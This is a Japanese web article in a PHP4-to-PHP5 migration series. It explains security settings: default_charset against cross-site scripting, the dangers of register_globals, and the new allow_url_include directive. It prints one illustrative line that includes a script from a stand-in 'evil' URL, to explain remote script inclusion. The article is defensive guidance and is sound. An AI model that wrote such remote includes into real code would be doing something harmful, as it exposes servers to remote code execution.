残り一年! PHP4からPHP5への移行

第5回 セキュリティ関連の違い

この記事を読むのに必要な時間:およそ 5 分

default_chaset設定

HTTPヘッダで利用する文字エンコーディングを指定しないとクロスサイトスクリプティング(JavaScriptインジェクション)に対して脆弱になる場合があります。しかし,互換性の観点からと思われますが,php.ini-dist,php.ini-recommendedのdefault_charset設定は空白になっています。

すべてのWebアプリケーションは利用する文字エンコーディングを指定すべきです。本来はアプリケーションのコードで文字エンコーディングを指定すべきですが,古いアプリケーションの多くは文字エンコーディングを指定していないと考えられます。PHP5への移行の追加作業としてdefault_charsetを設定することをお勧めします。

例:httpd.confまたは.htaccessファイルでUTF-8に設定

php_value default_charset "UTF-8"

例:httpd.confまたは.htaccessファイルでEUC-JPに設定

php_value default_charset "EUC-JP"

例:httpd.confまたは.htaccessファイルでShift_JISに設定

php_value default_charset "Shift_JIS"

register_globals設定

register_globals=offでアプリケーションが動作する場合はregister_globals=onに設定するべきではありません。register_globals=offを前提としているアプリケーションにはregister_globals=onに設定するとファイルインクルード攻撃に脆弱になる場合や認証をバイバス可能となる脆弱性などが発生する場合があります。

register_globals=on設定が必要な場合,必要なアプリケーションのみregister_globals=onとなるように設定します。Apacheの場合,仮想ホスト単位(httpd.confなど⁠⁠,ディレクトリ単位(.htaccessなど)でregister_globals=on設定を変更できます。

設定例

php_admin_flag register_globals on

繰り返しますが,不用意にregister_global=onに設定するとセキュリティ上の問題が発生します。後述しますがPHP5から導入されたallow_url_include設定が無効な場合でも,ローカルファイルの実行,認証の回避などの様々なセキュリティ問題が発生する可能性があります。

allow_url_include

PHP5からphp.ini設定にallow_url_include設定が追加されました。この設定はセキュリティ上非常に重要な意味があります。多くのPHPアプリケーションに「リモートスクリプト実行脆弱性」が報告されています。このリモートスクリプト実行脆弱性はPHP特有の脆弱性でした。

include('http://example.jp/evil_script.php');

PHPは上記のようにURLを記載してリモートサーバに保存されたファイルをローカルファイルのように取り扱う機能がありました。スクリプトの読み込みを行うファイル名部分にユーザ入力を含む変数を利用していた場合,WebやFTPサーバに保存されたファイルを実行させることができるセキュリティ上重大な問題でした。

以前からあるallow_url_fopenでもリモートサーバからのファイル読み取りをOn/Offに設定可能です。しかし,この設定をOffにするとinclude/require文のみでなく,fopen, file_get_contentsなどのファイル関数もURL形式のファイルにアクセスできなくなります。この設定はINI_SYSTEMレベルで変更可能な設定に改悪されたため,一度設定を行うと変更できない設定になっていました。これらの理由からセキュリティ上はallow_url_fopenはOffに設定するほうが安全ですが,デフォルトはOnに設定されていました。

この脆弱性をなくすためにallow_url_includeディレクティブが導入されました。実装当初は不許可とすべきURL形式のリソースにアクセスできた等,問題も多くありましたが,現在のPHP5は

allow_url_include = off

がデフォルト設定となり,リモートスクリプトは実行できなくなりました。この設定により安全性は向上しますが,ほかのスクリプト系言語と同様にローカルスクリプトの実行は可能です。incliude/require文にユーザ入力を含む変数を利用する場合,細心の注意が必要であることには変わりありません。

著者プロフィール

大垣靖男(おおがきやすお)

University of Denver卒。同校にてコンピュータサイエンスとビジネスを学ぶ。株式会社シーエーシーを経て,エレクトロニック・サービス・イニシアチブ有限会社を設立。
オープンソース製品は比較的古くから利用し,Linuxは0.9xのころから利用している。オープンソースシステム開発への参加はエレクトロニック・サービス・イニシアチブ設立後から。PHPプロジェクトでは,PostgreSQLモジュールのメンテナンスを担当している。

URLhttp://blog.ohgaki.net/

著書